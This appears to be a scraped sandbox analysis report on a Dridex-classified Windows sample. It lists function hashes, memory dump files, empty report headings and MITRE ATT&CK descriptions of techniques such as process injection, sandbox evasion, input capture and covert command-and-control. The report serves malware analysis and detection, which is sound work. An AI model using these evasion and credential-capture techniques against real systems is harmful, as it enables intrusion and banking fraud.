Instruction ID: 4e03d5afe09d8c6bf645160c43d9d8156d21dad3bb2ac74844fd1f0cdbd62695
Opcode Fuzzy Hash: 10a3c9910ea41fd533c8730267ed1528ca8aaa2e9f90d5bc588d437e70140cb2
Instruction Fuzzy Hash: D15138E2A05B93C7E7584FAB88B162772A2EFC0750B15C23DDAA58B3B5F77584038341

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF88C0, Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction ID: c502095209aff3ee0b3fa581c7ec081639f2e57027c2fd13e23bd4eba16cf753
Opcode Fuzzy Hash: 0462b3abe644d686df3d15cf7fea5482de025a1b1b951e707ee8700216b69174
Instruction Fuzzy Hash: B4514CA1604793D7E7284EABC8B122672E2EFC1750B19C23DD9A58B3B5F7718413C252

Uniqueness

Uniqueness Score: -1.00%

Function 6F00CEF8, Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction ID: c88d5bf2f2be0b2e60368c68d2f63e87407cdf6ae53579b221e8637289326e7b
Opcode Fuzzy Hash: fcbcf9705e709eb844b646129b4b55cf383a25db1a3ec8ef676bcb8762ebb863
Instruction Fuzzy Hash: 0B41D57170911996FB00BE6989807FE37E69F51798F00C527FD58C91D4EB36E882D2B2

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF96D0, Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction ID: 516152ada747809a7daee300927cb5a82569826311f317b818f9896743ddfea3
Opcode Fuzzy Hash: b175748cf7301ee0c6ed0bf10d9d1cc7f3f0d81bd195dc22fade8a8467494fda
Instruction Fuzzy Hash: 7A411573914722C7D7144EEDC8B0626B2A5AF85760F95832EEDA6873E0EF318952C291

Uniqueness

Uniqueness Score: -1.00%

Function 6EFF2980, Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aaa7ba7d57e1f59022061499dd6c943b4cbd5228a00c1fbb916ee3f331c69b9a
Instruction ID: 1f6b528807f672e58e665807fa49444417effe3599af1710927006ccf0fe10a1
Opcode Fuzzy Hash: aaa7ba7d57e1f59022061499dd6c943b4cbd5228a00c1fbb916ee3f331c69b9a
Instruction Fuzzy Hash: CF41D231104285DBEB14EFD5CC70BEA3768AF50604F40882EE9554B2B1EF729907D791

Uniqueness

Uniqueness Score: -1.00%

Function 6F00BE30, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction ID: 795fc3f98e2036c98d8ca428a8f6cf4c8c0636051a51cd04ee25e14266402aad
Opcode Fuzzy Hash: 76f6433e3c74a3447e8eaa2ba15ee16424b61191432471d824bdce721637ee07
Instruction Fuzzy Hash: 47F0A7F4204583EBFF057E798C90B9B32DE9F55294F144977A628D52E4FF22E4054511

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SecuriteInfo.com.Variant.Razy.980776.8232.19927

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

Function 6EFE51A7, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 235
sleepCOMMON

Function 6EFF3930, Relevance: 6.8, APIs: 4, Instructions: 834
COMMON

Function 6EFF6C50, Relevance: 2.1, APIs: 1, Instructions: 584
libraryloaderCOMMON

Function 6F0139F9, Relevance: 1.7, APIs: 1, Instructions: 157
filenetworkCOMMON

Function 6EFF22A0, Relevance: 1.6, APIs: 1, Instructions: 69
nativeCOMMON

Function 6EFF7A60, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Function 6EFF47B0, Relevance: 3.6, APIs: 2, Instructions: 618
COMMON

Function 6EFE543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Function 6EFE54F5, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 46
libraryCOMMON

Function 6F013370, Relevance: 3.4, APIs: 2, Instructions: 366
networkCOMMON

Function 6F00CAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Function 6F00C790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Function 6F00C2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Function 6EFF430F, Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Function 6F013820, Relevance: 1.7, APIs: 1, Instructions: 151
networkCOMMON

Function 6F00C580, Relevance: 1.6, APIs: 1, Instructions: 98
registryCOMMON

Function 6F00C405, Relevance: 1.6, APIs: 1, Instructions: 83
registryCOMMON

Function 6EFF1030, Relevance: 1.5, APIs: 1, Instructions: 36
memoryCOMMON

Function 6EFE1570, Relevance: 3.6, Strings: 2, Instructions: 1143
COMMONCrypto

Function 6EFEACD0, Relevance: 2.9, Strings: 1, Instructions: 1641
COMMONCrypto

Function 6F003EC0, Relevance: 2.4, Strings: 1, Instructions: 1131
COMMONCrypto

Function 6F0062F0, Relevance: 2.2, Strings: 1, Instructions: 961
COMMONCrypto

Function 6EFFC590, Relevance: 2.1, Strings: 1, Instructions: 878
COMMONCrypto

Function 6F002E60, Relevance: 2.0, Strings: 1, Instructions: 797
COMMONCrypto

Function 6F007660, Relevance: 2.0, Strings: 1, Instructions: 793
COMMONCrypto

Function 6EFFD030, Relevance: 2.0, Strings: 1, Instructions: 789
COMMONCrypto

Function 6F0089F0, Relevance: 2.0, Strings: 1, Instructions: 748
COMMONCrypto

Function 6EFFAE80, Relevance: 2.0, Strings: 1, Instructions: 719
COMMONCrypto

Function 6EFFB6F0, Relevance: 2.0, Strings: 1, Instructions: 704
COMMONCrypto

Function 6EFFA660, Relevance: 1.9, Strings: 1, Instructions: 690
COMMONCrypto

Function 6F001EB0, Relevance: 1.9, Strings: 1, Instructions: 682
COMMONCrypto

Function 6F0026B0, Relevance: 1.9, Strings: 1, Instructions: 653
COMMONCrypto

Function 6F001730, Relevance: 1.9, Strings: 1, Instructions: 649
COMMONCrypto

Function 6EFE9E70, Relevance: 1.8, Strings: 1, Instructions: 591
COMMONCrypto

Function 6F004CA0, Relevance: 1.6, Strings: 1, Instructions: 358
COMMONCrypto